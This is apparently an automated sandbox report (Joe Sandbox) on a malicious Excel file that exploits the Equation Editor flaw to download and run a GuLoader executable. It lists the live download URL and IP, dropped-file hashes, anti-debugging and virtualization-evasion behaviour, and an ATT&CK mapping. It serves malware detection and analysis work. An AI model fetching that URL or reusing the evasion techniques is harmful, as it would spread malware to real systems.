Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$#U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR212.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@6/21@0/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match	File source: 00000006.00000002.643654485.00000000003D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.695092285.00000000001B0000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\Public\vbc.exe	Code function: 6_2_00405852 push ebx; ret
Source: C:\Users\Public\vbc.exe	Code function: 6_2_004072B2 push cs; iretd
Source: C:\Users\Public\vbc.exe	Code function: 6_2_0040796C push ecx; iretd
Source: C:\Users\Public\vbc.exe	Code function: 6_2_0040772B push es; iretd
Source: C:\Users\Public\vbc.exe	Code function: 6_2_004075F1 push ebx; iretd
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D1077 push 0BFD29CAh; retf FD29h
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003DA563 push edx; retf
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D8BA0 push edx; retf
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B843D push es; ret
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B15B3 push ebp; iretd
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B8BA0 push edx; retf

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to detect Any.run

Show sources

Source: C:\Users\Public\vbc.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Users\Public\vbc.exe	File opened: C:\Program Files\qga\qga.exe

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: vbc.exe, 00000006.00000002.643663482.00000000003E0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32TEMP=WINDIR=\SYSWOW64\MSVBVM60.DLL
Source: vbc.exe, 00000006.00000002.643663482.00000000003E0000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\Public\vbc.exe

RDTSC instruction interceptor: First address: 000000000040C090 second address: 000000000040C090 instructions: 0x00000000 rdtsc 0x00000002 cmp al, FEh 0x00000004 xor eax, edx 0x00000006 cmp esi, 00000097h 0x0000000c dec edi 0x0000000d cmp di, 00EFh 0x00000012 movq mm7, mm5 0x00000015 jmp 00007F6370A86402h 0x00000017 cmp edi, 00000000h 0x0000001a jne 00007F6370A86328h 0x00000020 cmp bh, 00000057h 0x00000023 mov ebx, 42152221h 0x00000028 cmp dl, FFFFFF80h 0x0000002b xor ebx, DC00070Fh 0x00000031 cmp bh, 00000023h 0x00000034 add ebx, 289BD3ABh 0x0000003a cmp edx, 14h 0x0000003d psubw xmm6, xmm7 0x00000041 jmp 00007F6370A86401h 0x00000043 sub ebx, C670F8D9h 0x00000049 cmp esi, 5Eh 0x0000004c cmp bh, 00000021h 0x0000004f rdtsc

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 760

Thread sleep time: -360000s >= -30000s

Source: C:\Users\Public\vbc.exe

Code function: 6_2_003D8304 rdtsc

Source: C:\Users\Public\vbc.exe

Window / User API: threadDelayed 9848

Source: C:\Users\Public\vbc.exe

System information queried: ModuleInformation

Source: vbc.exe, 00000006.00000002.643663482.00000000003E0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32TEMP=windir=\syswow64\msvbvm60.dll
Source: vbc.exe, 00000006.00000002.643663482.00000000003E0000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\Public\vbc.exe

Thread information set: HideFromDebugger

Source: C:\Users\Public\vbc.exe

Code function: 6_2_003D8304 rdtsc

Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D8C0F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D8C73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D3A50 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D58BB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D3AB1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D788C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D788F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D7ECE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D39AB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D2F96 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B5837 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B8C73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B788F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B788C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B7ECE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B8BAC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B8BFF mov eax, dword ptr fs:[00000030h]

Source: C:\Users\Public\vbc.exe

Process queried: DebugPort

Source: C:\Users\Public\vbc.exe

Code function: 6_2_003D60CF LdrInitializeThunk,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'

Source: vbc.exe, 00000009.00000002.695186981.0000000000A90000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: vbc.exe, 00000009.00000002.695186981.0000000000A90000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: vbc.exe, 00000009.00000002.695186981.0000000000A90000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Stealing of Sensitive Information:

GuLoader behavior detected

Show sources

Source: Initial file

Signature Results: GuLoader behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Exploitation for Client Execution12	Path Interception	Process Injection12	Masquerading111	OS Credential Dumping	Security Software Discovery521	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Extra Window Memory Injection1	Disable or Modify Tools1	LSASS Memory	Virtualization/Sandbox Evasion22	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion22	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection12	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol121	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Extra Window Memory Injection1	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
#U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx	39%	Virustotal		Browse
#U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx	29%	ReversingLabs	Document-OLE.Exploit.CVE-2017-11882

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	36%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	21%	ReversingLabs	Win32.Trojan.Vebzenpak
C:\Users\Public\vbc.exe	36%	Virustotal		Browse
C:\Users\Public\vbc.exe	21%	ReversingLabs	Win32.Trojan.Vebzenpak

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://23.95.85.181/0789/vbc.exe	6%	Virustotal		Browse
http://23.95.85.181/0789/vbc.exe	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://23.95.85.181/0789/vbc.exe	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	vbc.exe, 00000006.00000002.644097038.0000000003297000.00000002.00020000.sdmp	false		high
http://www.icra.org/vocabulary/.	vbc.exe, 00000006.00000002.644097038.0000000003297000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	vbc.exe, 00000006.00000002.644097038.0000000003297000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.day.com/dam/1.0	EA784B99.emf.0.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.95.85.181	unknown	United States		36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	483661
Start date:	15.09.2021
Start time:	11:05:36
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 7s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	#U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	2
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@6/21@0/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 26.8% (good quality ratio 14.3%) Quality average: 34.4% Quality standard deviation: 37.7%
HCA Information:	Successful, ratio: 61% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, vga.dll, WMIADAP.exe, svchost.exe TCP Packets have been reduced to 100 Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtQueryAttributesFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:06:49	API Interceptor	40x Sleep call for process: EQNEDT32.EXE modified
11:08:09	API Interceptor	6x Sleep call for process: vbc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
23.95.85.181	ORDER RFQ1009202.xlsx	Get hash	malicious	Browse	23.95.85.181/msn/vbc.exe

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-COLOCROSSINGUS	09142021_PDF.vbs	Get hash	malicious	Browse	23.94.82.41
	Swift Mt103.xlsx	Get hash	malicious	Browse	23.95.13.175
	vkb.xlsx	Get hash	malicious	Browse	192.3.13.11
	Transfer Swift.xlsx	Get hash	malicious	Browse	172.245.26.190
	ORDER 5172020.xlsx	Get hash	malicious	Browse	198.12.84.109
	REF_MIDLGB34.xlsx	Get hash	malicious	Browse	23.94.159.208
	proforma invoice.xlsx	Get hash	malicious	Browse	192.3.141.149
	Swift_Mt103.xlsx	Get hash	malicious	Browse	23.95.13.175
	PO-80722 .xlsx	Get hash	malicious	Browse	198.12.84.109
	MT103-Swift Copy.xlsx	Get hash	malicious	Browse	198.46.199.203
	Items_quote.xlsx	Get hash	malicious	Browse	172.245.26.145
	Usd_transfer.xlsx	Get hash	malicious	Browse	172.245.26.145
	REF_MIDLGB34.xlsx	Get hash	malicious	Browse	23.94.159.208
	ORDER RFQ1009202.xlsx	Get hash	malicious	Browse	23.95.85.181
	msn.xlsx	Get hash	malicious	Browse	198.12.127.217
	swift.xlsx	Get hash	malicious	Browse	198.46.199.171
	Additional Order Qty 197.xlsx	Get hash	malicious	Browse	198.12.107.117
	DHL Cargo Arrival.xlsx	Get hash	malicious	Browse	172.245.26.190
	Po2142021.xlsx	Get hash	malicious	Browse	198.12.107.117
	UPDATED SOA - JUNE & JUULY & AUGUST.xlsx	Get hash	malicious	Browse	192.3.146.254

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	122880
Entropy (8bit):	6.286624517223784
Encrypted:	false
SSDEEP:	1536:yzqGcUKFGnMrpxAcbsasHpL9T8oOmhfIRorEjZyZt:fcnM1rQa2dRPrEtyZt
MD5:	451E4CD68C69C2C8B8FC93AD02E8754A
SHA1:	B87D041383FA59A21BFF9666756EFA2784282199
SHA-256:	E406C6674E19F2F3368E26AD4E6D672B190EA5DF8CB1B5E95C9E22FB8C80738B
SHA-512:	FE42A6AFBD37EC5D20EC0C22153489EE0CA4A636FE8312DBF9554BEBE7C6D3D0E9AD602C3A746304F150561650FB2A887CFC10B3AD727A2FAB0A72A5A9D11911
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 36%, Browse Antivirus: ReversingLabs, Detection: 21%
Reputation:	low
IE Cache URL:	http://23.95.85.181/0789/vbc.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L......K.....................@....................@.................................`u......................................$...(...........................................................................(... .......L............................text...`........................... ..`.data...............................@....rsrc............ ..................@..@...I............MSVBVM60.DLL....................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1A0B8B0A.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	49744
Entropy (8bit):	7.99056926749243
Encrypted:	true
SSDEEP:	768:wnuJ6p14x3egT1LYye1wBiPaaBsZbkCev17dGOhRkJjsv+gZB/UcVaxZJ2LEz:Yfp1UeWNYF1UiPm+/q1sxZB/ZS
MD5:	63A6CB15B2B8ECD64F1158F5C8FBDCC8
SHA1:	8783B949B93383C2A5AF7369C6EEB9D5DD7A56F6
SHA-256:	AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232
SHA-512:	BB42A40E6EADF558C2AAE82F5FB60B8D3AC06E669F41B46FCBE65028F02B2E63491DB40E1C6F1B21A830E72EE52586B83A24A055A06C2CCC2D1207C2D5AD6B45
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR..............I.M....IDATx....T.]...G.;..nuww7.s...U..K......Ih....q!i...K....t.'k.W..i..>.......B.....E.0....f.a.....e....++...P..\|..^...L.S}r:..............sM....p..p-..y]...t7'.D)....../...k....pzos.......6;,..H.....U..a..9..1...$.......kI<..\F...$.E....?[B(.9.....H..!.....0AV..g.m...23..C..g(.%...6..>.O.r...L..t1.Q-.bE......)........\|i ..."....V.g.\.G..p..p.X[.....%hyt...@..J...~.p.....\|..>...~.`..E_....iU.G...i.O..r6...iV.....@..........Jte...5Q.P.v;..B.C...m......0.N......q...b.....Q...c.moT.e6OB...p.v"...."........9..G....B}...../m...0g...8......6.$.$]p...9.....Z.a.sr.;B.a....m...>...b..B..K...{...+w?....B3...2...>.......1..-.'.l.p........L....\.K..P.q......?>..fd.`w..y..\|y..,.....i..'&.?.....).e.D ?.06......U.%.2t........6.:..D.B....+~.....M%".fG]b\.[........1....".......GC6.....J.+......r.a...ieZ..j.Y...3..Q*m.r.urb.5@.e.v@@....gsb.{q-..3j........s.f.\|8s$p.?3H......0`..6)...bD....^..+....9..;$...W::.jBH..!tK

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2F521389.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=2], baseline, precision 8, 474x379, frames 3
Category:	dropped
Size (bytes):	7006
Entropy (8bit):	7.000232770071406
Encrypted:	false
SSDEEP:	96:X/yEpZGOnzVjPyCySpv2oNPl3ygxZzhEahqwKLBpm1hFpn:PyuZbnRW6NPl3yqEhwK1psvn
MD5:	971312D4A6C9BE9B496160215FE59C19
SHA1:	D8AA41C7D43DAAEA305F50ACF0B34901486438BE
SHA-256:	4532AEED5A1EB543882653D009593822781976F5959204C87A277887B8DEB961
SHA-512:	618B55BCD9D9533655C220C71104DFB9E2F712E56CDA7A4D3968DE45EE1861267C2D31CF74C195BF259A7151FA1F49DF4AD13431151EE28AD1D3065020CE53B5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF..............Exif..MM.......@......../..@..................C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================......{...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..Z(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\30D76811.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=2], baseline, precision 8, 474x379, frames 3
Category:	dropped
Size (bytes):	7006
Entropy (8bit):	7.000232770071406
Encrypted:	false
SSDEEP:	96:X/yEpZGOnzVjPyCySpv2oNPl3ygxZzhEahqwKLBpm1hFpn:PyuZbnRW6NPl3yqEhwK1psvn
MD5:	971312D4A6C9BE9B496160215FE59C19
SHA1:	D8AA41C7D43DAAEA305F50ACF0B34901486438BE
SHA-256:	4532AEED5A1EB543882653D009593822781976F5959204C87A277887B8DEB961
SHA-512:	618B55BCD9D9533655C220C71104DFB9E2F712E56CDA7A4D3968DE45EE1861267C2D31CF74C195BF259A7151FA1F49DF4AD13431151EE28AD1D3065020CE53B5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF..............Exif..MM.......@......../..@..................C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================......{...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..Z(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\35493F6.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	84203
Entropy (8bit):	7.979766688932294
Encrypted:	false
SSDEEP:	1536:RrpoeM3WUHO25A8HD3So4lL9jvtO63O2l/Wr9nuQvs+9QvM4PmgZuVHdJ5v3ZK7+:H5YHOhwx4lRTtO6349uQvXJ4PmgZu11J
MD5:	208FD40D2F72D9AED77A86A44782E9E2
SHA1:	216B99E777ED782BDC3BFD1075DB90DFDDABD20F
SHA-256:	CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF
SHA-512:	7BCE80FFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DB9D5ED8DA93C223F265C179CFADA609A64
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR...6...........>(....sRGB.........gAMA......a.....pHYs..........+......IDATx^.=v\9..H..f...:ZA..,'..j.r4.........SEJ,%..VPG..K.=....@.$oI.e7....U...... ....>n~&..._..._.rg....L...D.G!0..G!;...?...Oo.7....Cc...G....g>......_o..._._.}q...k.....ru..T.....S.!....~..@Y96.S.....&..1.:....o...q.6..S...'n..H.hS......y;.N.l.)."[ `.f.X.u.n.;........._h.(.u\|0a.....].R.z...2......GJY\|\..+b...{>vU.....i...........w+.p...X..._.V.-z..s..U..cR..g^..X......6n...6....O6.-.AM.f.=y ...7...;X....q..\|...=.\|K...w...}O..{\|...G........~.o3.....z....m6...sN.0..;/....Y..H..o............~........(W.`...S.t......m....+.K...<..M=...IN.U..C..].5.=...s..g.d..f.<Km..$..fS...o..:..}@...;k..m.L./.$......,}....3%..\|j.....b.r7.O!F...c'......$...)....\|O.CK...._......Nv....q.t3l.,. ....vD.-..o..k.w.....X...-C..KGld.8.a}\|..,.....,....q.=r..Pf.V#.....n...}........[w...N.b..W......;..?.Oq..K{>.K.....{w{.......6'/...,.}.E...X.I.-Y].JJm.j..pq\|.0...e.v......17...:F

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\382BCCC6.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	7788
Entropy (8bit):	5.533196327083454
Encrypted:	false
SSDEEP:	96:wMX6CblJaXn/08zDefAm/luoOHo6MiDbDda91RjTBbPxmPAWmOHX:wOjTNAK4oOIGbK1RvVwPAWmOHX
MD5:	1F2B5AACC9C5B04A836533E30B3A31F3
SHA1:	18374AF46557DCAE4A34CC6CA4B7F8CAA59934F5
SHA-256:	0407CDBEA25671B4478D8E9502F556385A2D0A076947E5BECFBC88A27DCC23DB
SHA-512:	4879FAA99D08FD8569DE1887FDDC023CAB1C28DC75B0D2CE6E65FC07A381B7D8DA63D7C47A78E7B5C4D1DC9D7EFCBA456094DFBED34F96358124DE6192CE7368
Malicious:	false
